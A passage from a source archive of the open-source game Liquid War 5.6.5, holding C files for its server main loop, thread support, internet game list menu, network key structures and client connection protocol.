*/ static char * get_password () { char *result = ""; result = get_argument_str (LW_SERVER_IDENT_PASSWORD); return result; } /*------------------------------------------------------------------*/ /* * Returns the comment associated to the server */ static char * get_comment () { char *result = ""; result = get_argument_str (LW_SERVER_IDENT_COMMENT); return result; } /*------------------------------------------------------------------*/ /* * Returns the log file name */ char * lw_server_get_log () { char *result = ""; result = get_argument_str (LW_SERVER_IDENT_LOG); return result; } /*------------------------------------------------------------------*/ /* * Returns the callback script/program called when a client connects * on the server. */ static char * get_callback () { char *result = ""; result = get_argument_str (LW_SERVER_IDENT_CALLBACK); return result; } /*------------------------------------------------------------------*/ /* * Exits the program and cleans up a few things */ void lw_server_exit (int code) { lw_sock_exit (); log_exit (); exit (code); } /*------------------------------------------------------------------*/ /* * Main function, launches the server. * Here we don't need to use the END_OF_MAIN() hack of Allegro, since * under windows the game will be compiled as a console App * (no WinMain needed) and we don't use Allegro at all here anyway... */ int main (int argc, char **argv) { int retcode = 0; LW_SRVCONT cont; LW_WWWSRV_DATA www_data; char *metaserver; int nb_teams; int port; lw_sock_init (); read_command_line (argc, argv); /* * we initialize the log _after_ read_command_line for * a special log file might have been specified */ log_init (); if (lw_basicopt_process ("Liquid War Server")) { nb_teams = get_nb_teams (); if (nb_teams >= 2 && nb_teams <= NB_TEAMS) { port = get_port (); metaserver = get_metaserver (); /* * we initialize the www_data struct which will contain * all the informations to be transmitted to the metaserver */ lw_wwwsrv_init (&www_data, get_privacy (metaserver), 0, metaserver, port, 0, 0, get_password (), get_comment ()); log_flush (); log_set_server_mode (1); /* * a good old infinite loop, the server has to be stopped * with CTRL-C */ while (1) { if (lw_srvcont_wait_teams (&cont, &www_data, nb_teams, port, get_password (), get_callback ())) { if (lw_srvcont_tell_who (&cont)) { if (lw_srvcont_final_ok (&cont)) { lw_srvcont_replicate_keys (&cont, &www_data, get_lag (), get_password ()); } } } lw_srvcont_close (&cont); log_flush (); } } else { log_println_str ("Not enough or too many teams!"); } } else { /* * we exit with a normal code (--help or --version) */ lw_server_exit (0); } /* * If we get here, there necessarily an error */ lw_server_exit (1); /* * Non-reachable code, but GCC would complain if we did not * return something... */ return retcode; } liquidwar-5.6.5/src/thrdunix.c0000664000372000037200000001156613407756104015752 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : thrdunix.c */ /* content : provides basic thread support under unix */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "thrdgen.h" /*==================================================================*/ /* defines */ /*==================================================================*/ /*==================================================================*/ /* macros */ /*==================================================================*/ /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Starts a new thread using the given callback */ int lw_thread_start (void (*func) (void *), void *args) { pthread_t thread; int result = 0; if (pthread_create (&thread, NULL, (void *(*)(void *)) func, args) == 0) { if (pthread_detach (thread) == 0) { result = 1; } } return result; } liquidwar-5.6.5/src/internet.c0000664000372000037200000004175113407756104015734 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : internet.c */ /* content : menu with the list of current internet games */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "internet.h" #include "base.h" #include "config.h" #include "decal.h" #include "dialog.h" #include "help.h" #include "menu.h" #include "play.h" #include "disk.h" #include "protocol.h" #include "sockgen.h" #include "server.h" #include "network.h" #include "keyexch.h" #include "error.h" #include "back.h" #include "wwwcli.h" #include "log.h" #include "netplay.h" #include "lang.h" #include "macro.h" /*==================================================================*/ /* contants */ /*==================================================================*/ #define LW_INTERNET_LIST_SIZE 1000 /*==================================================================*/ /* globals */ /*==================================================================*/ static LW_WWWCLI_DATA *list_data = NULL; static int *list_size = NULL; static char buffer_ping[50]; static char buffer_port[50]; static char buffer_password[50]; static char buffer_uptime[50]; static char buffer_comment[COMMENT_SIZE + 1]; static DIALOG *dialog_list = NULL; static DIALOG *dialog_ping = NULL; static DIALOG *dialog_port = NULL; static DIALOG *dialog_password = NULL; static DIALOG *dialog_uptime = NULL; static DIALOG *dialog_comment = NULL; /*==================================================================*/ /* static functions */ /*==================================================================*/ static char *list_callback (int index, int *list_size); static void position_list (DIALOG * d); static void position_comment (DIALOG * d); static void update_text_ping (int i); static void update_text_port (int i); static void update_text_password (int i); static void update_text_uptime (int i); static void update_text_comment (int i); /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int internet_find (void) { DIALOG d[13]; int choix = 4, retour = 0; LW_WWWCLI_DATA data[LW_INTERNET_LIST_SIZE]; int size; int cur; int i; memset (d, 0, sizeof (d)); size = LW_INTERNET_LIST_SIZE; lw_wwwcli_get_games (data, &size); list_data = data; list_size = &size; // log_println_str(data[0].ip); while (retour == 0) { position_list (d + 4); standard_button (d + 5, 1, 0, 2, 10); standard_button (d + 6, 1, 1, 2, 10); standard_button (d + 7, 1, 3, 2, 10); standard_button (d + 8, 1, 4, 2, 10); standard_button (d + 9, 1, 5, 2, 10); standard_button (d + 10, 1, 6, 2, 10); for (i = 0; i < 6; ++i) { d[5 + i].w = menu_real_x ((MENU_W_INTERNET_LIST + MENU_W_STANDARD) / 2); } position_comment (d + 11); quick_buttons (d); d[4].dp = list_callback; d[4].d1 = d[4].d2 = 0; d[4].dp2 = d[4].dp3 = NULL; d[4].proc = my_list_proc; d[5].dp = lw_lang_string (LW_LANG_STRING_INTERNET_REFRESH); d[6].dp = lw_lang_string (LW_LANG_STRING_INTERNET_JOINNOW); d[7].dp = buffer_ping; d[8].dp = buffer_port; d[9].dp = buffer_password; d[10].dp = buffer_uptime; d[11].dp = buffer_comment; d[7].proc = d[8].proc = d[9].proc = d[10].proc = d[11].proc = my_textbox_proc; d[12].proc = 0; dialog_list = d + 4; dialog_ping = d + 7; dialog_port = d + 8; dialog_password = d + 9; dialog_uptime = d + 10; dialog_comment = d + 11; update_text_ping (0); update_text_port (0); update_text_password (0); update_text_uptime (0); update_text_comment (0); choix = my_do_dialog (d, choix); /* * First test to select the current list value if * it exists, and make it the current server. */ cur = d[4].d1; if (choix == MENU_QUICK_PLAY || choix == 4 || choix == 6) { if (cur >= 0 && cur < size) { strncpy (CONFIG_SERVER_ADDRESS, data[cur].ip, SERVER_ADDRESS_SIZE); CONFIG_SERVER_ADDRESS[SERVER_ADDRESS_SIZE] = '\0'; CONFIG_SERVER_PORT = data[cur].port; } } switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; else display_back_image (); break; case MENU_QUICK_PLAY: retour = netplay_sequence (); break; case 5: size = LW_INTERNET_LIST_SIZE; lw_wwwcli_get_games (data, &size); break; case 4: case 6: if (cur >= 0 && cur < size) { retour = netplay_sequence (); } break; } } if (retour > 0) retour--; return retour; } /*------------------------------------------------------------------*/ static void position_list (DIALOG * d) { d->x = (MENU_VIRTUAL_W - MENU_W_SPACE) / 2 - MENU_W_INTERNET_LIST; d->y = (MENU_VIRTUAL_H - MENU_H_INTERNET_LIST) / 2; d->w = MENU_W_INTERNET_LIST; d->h = MENU_H_INTERNET_LIST; color_one_dialog (d); menu_real_coord (d); d->key = 0; d->dp = ""; d->flags = D_EXIT; } /*------------------------------------------------------------------*/ static void position_comment (DIALOG * d) { d->x = (MENU_VIRTUAL_W + MENU_W_SPACE) / 2; d->y = (MENU_VIRTUAL_H - MENU_H_INTERNET_LIST) / 2 + 7 * MENU_H_STANDARD + 7 * MENU_H_SPACE; d->w = MENU_W_INTERNET_LIST; d->h = 3 * MENU_H_STANDARD + (3 * MENU_H_SPACE) / 2; color_one_dialog (d); menu_real_coord (d); d->key = 0; d->dp = ""; d->flags = D_EXIT; } /*------------------------------------------------------------------*/ /* * Callback called for the list by the Allegro GUI engine */ static char * list_callback (int index, int *size) { char *result = NULL; if (index >= 0) { if (index < *list_size) { result = list_data[index].label; /* * Now this _is_ a hack: I wanted the port * password, uptime and comment fields to * be updated automatically when selecting * a line in the list, without even double-clicking * it. So what I did is that when the list engine * asks for the label of the current line, I * automatically recalculate and redraw these fields. * Since the list engine has to hilight the current * label, I assume it asks for the current label * everytime the selection is changed. */ if (index == dialog_list->d1) { update_text_ping (dialog_list->d1); update_text_port (dialog_list->d1); update_text_password (dialog_list->d1); update_text_uptime (dialog_list->d1); update_text_comment (dialog_list->d1); scare_mouse (); my_textbox_proc (MSG_DRAW, dialog_ping, 0); my_textbox_proc (MSG_DRAW, dialog_port, 0); my_textbox_proc (MSG_DRAW, dialog_password, 0); my_textbox_proc (MSG_DRAW, dialog_uptime, 0); my_textbox_proc (MSG_DRAW, dialog_comment, 0); unscare_mouse (); } } else { result = ""; } } else { *size = *list_size; } return result; } /*------------------------------------------------------------------*/ static void update_text_ping (int i) { if (i >= 0) { if (i < *list_size) { if (list_data[i].ping_delay >= 0) { LW_MACRO_SPRINTF3 (buffer_ping, "%s: %d %s", lw_lang_string (LW_LANG_STRING_INTERNET_PING), list_data[i].ping_delay, lw_lang_string (LW_LANG_STRING_INTERNET_MSEC)); } else { LW_MACRO_STRCPY (buffer_ping, lw_lang_string (LW_LANG_STRING_INTERNET_UNREACHABLE)); } } else { LW_MACRO_SPRINTF1 (buffer_ping, "%s:", lw_lang_string (LW_LANG_STRING_INTERNET_PING)); } } } /*------------------------------------------------------------------*/ static void update_text_port (int i) { if (i >= 0) { if (i < *list_size) { LW_MACRO_SPRINTF2 (buffer_port, "%s: %d", lw_lang_string (LW_LANG_STRING_INTERNET_PORT), list_data[i].port); } else { LW_MACRO_SPRINTF1 (buffer_port, "%s:", lw_lang_string (LW_LANG_STRING_INTERNET_PORT)); } } } /*------------------------------------------------------------------*/ static void update_text_password (int i) { if (i >= 0) { if (i < *list_size) { if (list_data[i].password) { LW_MACRO_SPRINTF2 (buffer_password, "%s: %s", lw_lang_string (LW_LANG_STRING_INTERNET_PASSWORD), lw_lang_string (LW_LANG_STRING_INTERNET_YES)); } else { LW_MACRO_SPRINTF2 (buffer_password, "%s: %s", lw_lang_string (LW_LANG_STRING_INTERNET_PASSWORD), lw_lang_string (LW_LANG_STRING_INTERNET_NO)); } } else { LW_MACRO_SPRINTF1 (buffer_password, "%s:", lw_lang_string (LW_LANG_STRING_INTERNET_PASSWORD)); } } } /*------------------------------------------------------------------*/ static void update_text_uptime (int i) { int days, hours, minutes, seconds; if (i >= 0) { if (i < *list_size) { seconds = list_data[i].uptime % 60; minutes = (list_data[i].uptime / 60) % 60; hours = (list_data[i].uptime / 3600) % 24; days = (list_data[i].uptime / (24 * 3600)); if (days > 0) { if (days > 1) { LW_MACRO_SPRINTF3 (buffer_uptime, "%s: %d %s", lw_lang_string (LW_LANG_STRING_INTERNET_UPTIME), days, lw_lang_string (LW_LANG_STRING_INTERNET_DAYS)); } else { LW_MACRO_SPRINTF2 (buffer_uptime, "%s: 1 %s", lw_lang_string (LW_LANG_STRING_INTERNET_UPTIME), lw_lang_string (LW_LANG_STRING_INTERNET_DAY)); } } else if (hours > 0) { LW_MACRO_SPRINTF3 (buffer_uptime, "%s: %d %s", lw_lang_string (LW_LANG_STRING_INTERNET_UPTIME), hours, lw_lang_string (LW_LANG_STRING_INTERNET_HOURS)); } else if (minutes > 0) { LW_MACRO_SPRINTF3 (buffer_uptime, "%s: %d %s", lw_lang_string (LW_LANG_STRING_INTERNET_UPTIME), minutes, lw_lang_string (LW_LANG_STRING_INTERNET_MINUTES)); } else { LW_MACRO_SPRINTF3 (buffer_uptime, "%s: %d %s", lw_lang_string (LW_LANG_STRING_INTERNET_UPTIME), seconds, lw_lang_string (LW_LANG_STRING_INTERNET_SECONDS)); } } else { LW_MACRO_SPRINTF1 (buffer_uptime, "%s:", lw_lang_string (LW_LANG_STRING_INTERNET_UPTIME)); } } } /*------------------------------------------------------------------*/ static void update_text_comment (int i) { if (i >= 0) { if (i < *list_size) { LW_MACRO_SPRINTF1 (buffer_comment, "%s", list_data[i].comment); } else { LW_MACRO_SPRINTF0 (buffer_comment, ""); } } } liquidwar-5.6.5/src/netkey.h0000664000372000037200000001171713407756104015407 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : netkey.h */ /* content : functions to manipulate network key messages */ /* last update : June 20th 2001 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_NETKEY #define LIQUID_WAR_INCLUDE_NETKEY #include "base.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_NETKEY_CMD_NONE 'n' #define LW_NETKEY_CMD_QUIT 'q' #define LW_NETKEY_CMD_INCREASE_LAG '+' #define LW_NETKEY_CMD_DECREASE_LAG '-' /*==================================================================*/ /* structs */ /*==================================================================*/ /* * This structure is used to store the information about keys strokes * sent over the network. The structure contains the keys plus * 2 special fields: a command and a parameter. */ typedef struct { int key_states[NB_TEAMS]; /* the keys states as in the cursor */ int cmd; /* a special command */ int arg; /* an argument for the command */ unsigned int checksum; } LW_NETKEY; /*==================================================================*/ /* functions */ /*==================================================================*/ void lw_netkey_reset (LW_NETKEY * netkey); int lw_netkey_send (int *sock, LW_NETKEY * netkey); int lw_netkey_recv (int *sock, LW_NETKEY * netkey); int lw_netkey_peek (int *sock, int num); #endif liquidwar-5.6.5/src/disp.h0000664000372000037200000001002013407756104015031 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : disp.h */ /* contenu : affichage de l'aire de jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_DISP #define LIQUID_WAR_INCLUDE_DISP /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void display_area (void); void display_gradient (int i); void display_mesh (int i); #endif liquidwar-5.6.5/src/ping.h0000664000372000037200000001017513407756104015042 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : ping.h */ /* content : utility to calculate an approximate ping time */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_PING #define LIQUID_WAR_INCLUDE_PING /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_ping_try_server (char *address, int port); #endif liquidwar-5.6.5/src/protocol.c0000664000372000037200000004363713407756104015752 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : protocol.c */ /* content : messages sent by the client when connecting */ /* last update : April 16th 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "config.h" #include "sock2gen.h" #include "netmess.h" #include "netmap.h" #include "netconf.h" #include "protocol.h" #include "macro.h" /*==================================================================*/ /* static functions */ /*==================================================================*/ static int recv_ok (int *sock); /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static int recv_ok (int *sock) { int result = 0; char message[LW_SOCK_MESSAGE_SIZE]; int ret = 0; LW_NETMESS *netmess; while (*sock >= 0 && (ret = lw_sock_recv_str (sock, message)) == 0); if (*sock >= 0 && ret > 0) { netmess = lw_netmess_read (message); if (netmess != NULL) { if (netmess->code == LW_NETMESS_CODE_OK && netmess->argc == 0) { result = 1; } lw_netmess_free (netmess); } } return result; } /*------------------------------------------------------------------*/ /* * Sends a dummy "PING" message to the server, to check that the * connection is working OK. */ int lw_protocol_do_ping (int *sock) { int result = 0; if (*sock >= 0 && lw_sock_send_str (sock, LW_NETMESS_TEXT_PING)) { if (recv_ok (sock)) { result = 1; } } return result; } /*------------------------------------------------------------------*/ /* * Sends the name of the running client to the server. This is to * prevent a liquidwar client to connect itself on something else * than a real liquidwar server. */ int lw_protocol_tell_program (int *sock, char *program) { int result = 0; char message[LW_SOCK_MESSAGE_SIZE]; LW_MACRO_SPRINTF2 (message, "%s '%s'", LW_NETMESS_TEXT_PROGRAM, program); if (*sock >= 0 && lw_sock_send_str (sock, message)) { if (recv_ok (sock)) { result = 1; } } return result; } /*------------------------------------------------------------------*/ /* * Sends the version of the client to the server. */ int lw_protocol_tell_version (int *sock, char *version) { int result = 0; char message[LW_SOCK_MESSAGE_SIZE]; LW_MACRO_SPRINTF2 (message, "%s '%s'", LW_NETMESS_TEXT_VERSION, version); if (*sock >= 0 && lw_sock_send_str (sock, message)) { if (recv_ok (sock)) { result = 1; } } return result; } /*------------------------------------------------------------------*/ /* * Sends the game password to the server. */ int lw_protocol_tell_password (int *sock, char *password) { int result = 0; char message[LW_SOCK_MESSAGE_SIZE]; LW_MACRO_SPRINTF2 (message, "%s '%s'", LW_NETMESS_TEXT_PASSWORD, password); if (*sock >= 0 && lw_sock_send_str (sock, message)) { if (recv_ok (sock)) { result = 1; } } return result; } /*------------------------------------------------------------------*/ /* * Asks the server how many players can connect to it. */ int lw_protocol_ask_free_teams (int *sock, int *nb) { int result = 0; char message[LW_SOCK_MESSAGE_SIZE]; int ret = 0; LW_NETMESS *netmess; *nb = 0; if (*sock >= 0 && lw_sock_send_str (sock, LW_NETMESS_TEXT_FREE)) { while (*sock >= 0 && (ret = lw_sock_recv_str (sock, message)) == 0); if (*sock >= 0 && ret > 0) { netmess = lw_netmess_read (message); if (netmess != NULL) { if (netmess->code == LW_NETMESS_CODE_OK && netmess->argc == 1) { *nb = atoi (netmess->argv[0]); result = 1; } lw_netmess_free (netmess); } } } return result; } /*------------------------------------------------------------------*/ /* * Inform the server that this player will be playing. */ int lw_protocol_reserve_team (int *sock, int num, int control_type, char *name) { int result = 0; char message[LW_SOCK_MESSAGE_SIZE]; LW_MACRO_SPRINTF4 (message, "%s %d,%d,'%s'", LW_NETMESS_TEXT_TEAM, num, control_type, name); if (*sock >= 0 && lw_sock_send_str (sock, message)) { if (recv_ok (sock)) { result = 1; } } return result; } /*------------------------------------------------------------------*/ /* * Ask the server who is playing on a given channel */ int lw_protocol_ask_who (int *sock, int num, LW_WHO * who) { int result = 0; char message[LW_SOCK_MESSAGE_SIZE]; int ret = 0; LW_NETMESS *netmess; who->active = 0; who->network = 0; who->server_id = -1; who->name[0] = '\0'; LW_MACRO_SPRINTF2 (message, "%s %d", LW_NETMESS_TEXT_WHO, num); if (*sock >= 0 && lw_sock_send_str (sock, message)) { while (*sock >= 0 && (ret = lw_sock_recv_str (sock, message)) == 0); if (*sock >= 0 && ret > 0) { netmess = lw_netmess_read (message); if (netmess != NULL) { switch (netmess->code) { case LW_NETMESS_CODE_NOBODY: if (netmess->argc == 0) { /* * We leave the server id to the default -1 value */ result = 1; } break; case LW_NETMESS_CODE_NETWORK: who->network = 1; /* * no "break" here since the only difference between * the LOCAL and NETWORK messages is that the network * flag is set to 1 in the "NETWORK" case. */ case LW_NETMESS_CODE_LOCAL: if (netmess->argc == 3) { who->active = 1; who->server_id = atoi (netmess->argv[0]); who->control_type = atoi (netmess->argv[1]); strncpy (who->name, netmess->argv[2], NAME_SIZE); who->name[NAME_SIZE] = '\0'; result = 1; } break; } lw_netmess_free (netmess); } } } return result; } /*------------------------------------------------------------------*/ /* * Sends the selected map to the server */ int lw_protocol_send_map (int *sock, void *map) { int result = 0; if (*sock >= 0 && lw_sock_send_str (sock, LW_NETMESS_TEXT_SENDMAP)) { if (lw_netmap_send (sock, map)) { if (recv_ok (sock)) { result = 1; } } } return result; } /*------------------------------------------------------------------*/ /* * Receives the map from the server */ int lw_protocol_recv_map (int *sock, void **map) { int result = 0; if (*sock >= 0 && lw_sock_send_str (sock, LW_NETMESS_TEXT_RECVMAP)) { if (lw_netmap_recv (sock, map)) { if (recv_ok (sock)) { result = 1; } } } return result; } /*------------------------------------------------------------------*/ /* * Sends the config to the server */ int lw_protocol_send_config (int *sock) { int result = 0; LW_NETCONF config; if (*sock >= 0 && lw_sock_send_str (sock, LW_NETMESS_TEXT_SENDCONFIG)) { memcpy (&config, &LW_CONFIG_CURRENT_RULES, sizeof (LW_NETCONF)); if (lw_netconf_send (sock, &config)) { if (recv_ok (sock)) { result = 1; } } } return result; } /*------------------------------------------------------------------*/ /* * Receives the config from the server */ int lw_protocol_recv_config (int *sock) { int result = 0; LW_NETCONF config; if (*sock >= 0 && lw_sock_send_str (sock, LW_NETMESS_TEXT_RECVCONFIG)) { if (lw_netconf_recv (sock, &config)) { if (recv_ok (sock)) { memcpy (&LW_CONFIG_CURRENT_RULES, &config, sizeof (LW_NETCONF)); result = 1; } } } return result; } /*------------------------------------------------------------------*/ /* * Tell the server that the client is ready to play */ int lw_protocol_i_am_ready (int *sock) { int result = 0; if (*sock >= 0 && lw_sock_send_str (sock, LW_NETMESS_TEXT_READY)) { if (recv_ok (sock)) { result = 1; } } return result; } /*------------------------------------------------------------------*/ /* * Tells the server one is waiting for the game to start */ int lw_protocol_waiting (int *sock, int *waited_teams) { int result = 0; char message[LW_SOCK_MESSAGE_SIZE]; int ret = 0; LW_NETMESS *netmess; /* * Previous versions of LW used to set "waited teams" to * 0 here. This caused weird bugs since this affectation * is done in a separate thread, so the main thread would * see "waited_teams==0" and then would try to start a game... * All this ended in an "Error processing WHO 0" on the server. * So it's very important *not* to set it to 0. We do not need * to set it to any value in fact... */ /* * (*waited_teams)=NB_TEAMS; */ if (*sock >= 0 && lw_sock_send_str (sock, LW_NETMESS_TEXT_WAITING)) { while (*sock >= 0 && (ret = lw_sock_recv_str (sock, message)) == 0); if (*sock >= 0 && ret > 0) { netmess = lw_netmess_read (message); if (netmess != NULL) { if (netmess->code == LW_NETMESS_CODE_OK && netmess->argc == 1) { *waited_teams = atoi (netmess->argv[0]); result = 1; } lw_netmess_free (netmess); } } } return result; } /*------------------------------------------------------------------*/ /* * Forces the server to start the game */ int lw_protocol_force_start (int *sock) { int result = 0; if (*sock >= 0 && lw_sock_send_str (sock, LW_NETMESS_TEXT_START)) { if (recv_ok (sock)) { result = 1; } } return result; } /*------------------------------------------------------------------*/ /* * Sends a "NEXT" message */ int lw_protocol_next (int *sock) { int result = 0; if (*sock >= 0 && lw_sock_send_str (sock, LW_NETMESS_TEXT_NEXT)) { if (recv_ok (sock)) { result = 1; } } return result; } /*------------------------------------------------------------------*/ /* 